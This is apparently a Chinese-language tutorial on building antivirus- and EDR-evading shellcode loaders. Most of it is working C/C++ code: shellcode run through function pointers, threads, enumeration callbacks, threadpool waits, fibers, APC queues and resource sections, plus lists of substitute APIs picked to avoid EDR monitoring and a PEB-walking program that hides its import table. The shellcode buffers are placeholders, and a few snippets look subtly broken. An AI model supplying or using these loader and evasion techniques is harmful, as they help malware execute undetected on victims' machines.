免杀——Loader

Loader的定义

Loader 在恶意软件和渗透测试中指的是用于将恶意代码(如 Shellcode、DLL 或其他恶意文件)加载并执行的程序或模块。Loader 的主要任务是帮助攻击者或测试人员将注入目标进程或系统环境中的恶意代码触发其执行。

Loader的大致思路

  1. 分配内存:使用 VirtualAlloc 或其他 API 在目标进程中分配内存,并设置适当的执行权限(如 PAGE_EXECUTE_READWRITE)。
  2. 写入代码:将 Shellcode、恶意 DLL、或其他代码写入刚分配的内存中。
  3. 执行代码:使用 CreateRemoteThreadEnumFontsW 回调、NtQueueApcThread 等方法来启动恶意代码的执行。
  4. 清除痕迹(可选):有些 Loader 还会在执行代码后清理其在目标系统上的痕迹,避免被检测到。

一些Demo:

指针执行

1
2
3
4
5
6
7
8
int main()
{
unsigned char buf[] = "shellcode";
void* exec = VirtualAlloc(0, sizeof buf,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
memcpy(exec, buf, sizeof buf);
((void(*)())exec)();
return 0;
}

汇编执行

1
2
3
4
5
6
7
8
9
10
11
12
#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
unsigned char shellcode[] ="shellcode";
void main()
{
__asm
{
lea eax, buf;
call eax;
}
}

创建线程执行

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <Windows.h>
int main()
{
int shellcode_size = 0; // shellcode⻓度
DWORD dwThreadId; // 线程ID
HANDLE hThread; // 线程句柄
unsigned char buf[] = "shellcode";
char* shellcode =(char*)VirtualAlloc(NULL,sizeof(buf),MEM_COMMIT,PAGE_EXECUTE_READWRITE);
CopyMemory(shellcode, buf, sizeof(buf));
hThread = CreateThread(NULL, NULL,(LPTHREAD_START_ROUTINE)shellcode, NULL,NULL, &dwThreadId);
WaitForSingleObject(hThread, INFINITE);
return 0;
}

从Edr开发者的角度来说,类似于VirtualAlloc,CreateThread,WriteProcessMemory肯定是被重点监控的对象,那么我们就需要做一些替换的手段

例如VirtualAlloc,我们可以使用其他的API换掉

1
2
3
4
5
6
GlobalAlloc
CoTaskMemAlloc
HeapAlloc
RtlCreateHeap
AllocADsMem
ReallocADsMem

CreateThread也可以使用回调函数进行执行

1
2
3
4
5
6
7
8
9
#include <Windows.h>
unsigned char shellcode[] = "shellcode";
int main() {
LPVOID address = VirtualAlloc(NULL, sizeof(shellcode),MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(address, shellcode, sizeof(shellcode));
HDC dc = GetDC(NULL);
EnumFontsW(dc, NULL, (FONTENUMPROCW)address, NULL);
return 0;
}

EnumFonts 函数枚举指定设备上可用的字体。 对于具有指定字样名称的每个字体, EnumFonts 函数将检索有关该字体的信息,并将其传递给应用程序定义的回调函数。

因为这玩意会去调用一个回调,因此这个就被我们利用了,类似的还有很多:

1
2
3
4
5
6
7
8
9
10
11
12
13
1. EnumTimeFormatsA
2. EnumWindows
3. EnumDesktopWindows
4. EnumDateFormatsA
5. EnumChildWindows
6. EnumThreadWindows
7. EnumSystemLocalesA
8. EnumSystemGeoID
9. EnumSystemLanguageGroupsA
10. EnumUILanguagesA
11. EnumSystemCodePagesA
12. EnumDesktopsW
13. EnumSystemCodePagesW

通过线程池等待对象创建线程来执行 Shellcode。

步骤

  1. 使用 CreateThreadpoolWait 创建线程池等待对象。
  2. Shellcode 地址作为回调函数传递给等待对象。
  3. 通过调用 SetThreadpoolWait 设定等待条件。
  4. 当等待条件满足时,线程池将调用指定的回调函数,即 Shellcode,从而实现执行。
1
2
3
4
5
6
7
8
9
10
int main() {
UCHAR buf[] = "shellcode";
DWORD oldProtect;
BOOL ret = VirtualProtect((LPVOID)buf, sizeof buf,
PAGE_EXECUTE_READWRITE,&oldProtect);
HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL);
PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)(char*)buf,NULL, NULL);
SetThreadpoolWait(threadPoolWait, event, NULL);
WaitForSingleObject(event, INFINITE);
}

Fiber

Fiber 是 Windows 的一种轻量级线程模型。使用 Fiber 加载 Shellcode 是通过将 Shellcode 作为一个纤程(Fiber)执行。

步骤

  1. 将当前线程转换为纤程,使用 ConvertThreadToFiber
  2. 使用 CreateFiber 创建纤程,传递 Shellcode 的地址作为入口点。
  3. 使用 SwitchToFiber 切换执行上下文,转移到 Shellcode 纤程。
1
2
3
4
5
6
7
8
9
int main() {
UCHAR buf[] = "";
DWORD oldProtect;
BOOL ret = VirtualProtect((LPVOID)buf,sizeof(buf),PAGE_EXECUTE_READWRITE,&oldProtect);
PVOID mainFiber = ConvertThreadToFiber(NULL);
PVOID shellcodeFiber = CreateFiber(NULL, (LPFIBER_START_ROUTINE),(char*)buf,NULL);
SwitchToFiber(shellcodeFiber);
DeleteFiber(shellcodeFiber);
}

QueueUserAPC 是一种异步过程调用的机制,允许将 Shellcode 作为 APC(Asynchronous Procedure Call)注入到目标线程的消息队列中,等待线程处于可调度状态时执行。NtTestAlert 是一个未文档化的函数,通常用于触发 APC 的执行。

步骤

  1. 通过 QueueUserAPC 将 Shellcode 注册到目标线程的 APC 队列中。
  2. 使用未文档化的函数 NtTestAlert 触发线程检查其 APC 队列,从而执行 Shellcode。
1
2
3
4
5
6
7
8
9
10
typedef DWORD(NTAPI* pNtTestAlert)();
int main() {
UCHAR buf[] = "";
DWORD oldProtect;
BOOL ret = VirtualProtect((LPVOID)buf, sizeof(buf),PAGE_EXECUTE_READWRITE,&oldProtect);
pNtTestAlert NtTestAlert = (pNtTestAlert)(GetProcAddress(GetModuleHandleA("ntdll"), "NtTestAlert"));
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)(char*)buf;
QueueUserAPC((PAPCFUNC)apcRoutine, GetCurrentThread(), NULL);
NtTestAlert();
}

从资源加载 Shellcode

恶意代码或 Shellcode 可以嵌入到可执行文件的资源段中,然后在运行时加载这些资源并执行它们。这种方法通过将恶意代码隐藏在合法的资源数据中,有效降低了被静态检测到的风险。

步骤

  1. 使用 FindResourceLoadResourceLockResource 从可执行文件的资源段中加载 Shellcode。
  2. 将加载的资源作为 Shellcode 执行,通常通过 VirtualAlloc 分配可执行内存后调用。
1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>
#include <windows.h>
#include "resource.h"
int main() {
HRSRC Res = FindResource(NULL, MAKEINTRESOURCE(IDR_XXX1), L"xxx");
DWORD Size = SizeofResource(NULL, Res);
HGLOBAL Load = LoadResource(NULL, Res);
void* p = VirtualAlloc(NULL, Size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(p, Load, Size);
((void(*)())p)();
return 0;
}

直接用Resource Hacker添加资源即可:

1727945487618

隐藏导入表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
#include <iostream>
#include <windows.h>
using namespace std;

extern "C" SIZE_T GetKernel32();


int my_strcmp(const char* str1, const char* str2) {
while (*str1 != '\0' || *str2 != '\0') {
if (*str1 != *str2) {
return *str1 - *str2;
}
str1++;
str2++;
}
return 0;
}



SIZE_T MyGetProcAddress(
HMODULE hModule, // handle to DLL module
LPCSTR lpProcName // function name
)
{

int i = 0;
PIMAGE_DOS_HEADER pImageDosHeader = NULL;
PIMAGE_NT_HEADERS pImageNtHeader = NULL;
PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = NULL;

pImageDosHeader = (PIMAGE_DOS_HEADER)hModule;
pImageNtHeader = (PIMAGE_NT_HEADERS)((SIZE_T)hModule + pImageDosHeader->e_lfanew);
pImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((SIZE_T)hModule + pImageNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

DWORD* pAddressOfFunction = (DWORD*)(pImageExportDirectory->AddressOfFunctions + (SIZE_T)hModule);
DWORD* pAddressOfNames = (DWORD*)(pImageExportDirectory->AddressOfNames + (SIZE_T)hModule);
DWORD dwNumberOfNames = (DWORD)(pImageExportDirectory->NumberOfNames);
DWORD dwBase = (DWORD)(pImageExportDirectory->Base);

WORD* pAddressOfNameOrdinals = (WORD*)(pImageExportDirectory->AddressOfNameOrdinals + (SIZE_T)hModule);

//这个是查一下是按照什么方式(函数名称or函数序号)来查函数地址的
DWORD dwName = (SIZE_T)lpProcName;
for (i = 0; i < (int)dwNumberOfNames; i++)
{
char* strFunction = (char*)(pAddressOfNames[i] + (SIZE_T)hModule);
if (my_strcmp(lpProcName, strFunction) == 0)
{
return (pAddressOfFunction[pAddressOfNameOrdinals[i]] + (SIZE_T)hModule);
}
}

}

// 定义 CreateProcessA 的函数指针类型(多字节版本)
typedef BOOL(WINAPI* CreateProcessA_t)(
LPCSTR lpApplicationName,
LPSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCSTR lpCurrentDirectory,
LPSTARTUPINFOA lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);

// 定义 GetProcAddress 的函数指针类型
typedef FARPROC(WINAPI* GetProcAddress_t)(HMODULE hModule, LPCSTR lpProcName);

int main()
{
HMODULE Kernel32_Base = (HMODULE)GetKernel32();
char GetProcAddress_name[0x20] = { 'G','e','t','P','r','o','c','A','d','d','r','e','s','s','\0'};
char User32[0x20] = { 'u','s','e','r','3','2','.','d','l','l','\0' };

char CreateProcess_name[0x20] = { 'C','r','e','a','t','e','P','r','o','c','e','s','s','A','\0'};
SIZE_T GetProcAddress_Func = MyGetProcAddress((HMODULE)Kernel32_Base, GetProcAddress_name);
GetProcAddress_t m_GetProcAddress_t = (GetProcAddress_t)GetProcAddress_Func;




CreateProcessA_t m_CreateProcessA_t= (CreateProcessA_t)m_GetProcAddress_t(Kernel32_Base, CreateProcess_name);


STARTUPINFO si = {0};
PROCESS_INFORMATION pi = {0};

char calc_path[100] = {'c','a','l','c','.','e','x','e','\x00' };

// 启动 calc.exe
m_CreateProcessA_t(
calc_path, // 程序路径
NULL, // 命令行参数
NULL, // 进程安全属性
NULL, // 线程安全属性
FALSE, // 是否继承句柄
0, // 创建标志
NULL, // 环境变量
NULL, // 当前目录
&si, // 启动信息
&pi // 进程信息
);
return 0;
}





.code

GetKernel32 proc
mov rax, gs:[60h] ; RAX = PEB 地址
mov rax, [rax+18h] ; PEB_LDR_DATA 的地址 (PEB+0x18)
mov rax, [rax+10h] ; _LDR_DATA_TABLE_ENTRY 的地址 (PEB_LDR_DATA+0x10)
mov rax, [rax] ; 指向 Ntdll 的 _LDR_DATA_TABLE_ENTRY
mov rax, [rax] ; 指向 Kernel32 的 _LDR_DATA_TABLE_ENTRY
mov rax, [rax+30h] ; 取 Kernel32.dll 的基地址 (_LDR_DATA_TABLE_ENTRY+0x30)
ret
GetKernel32 endp

end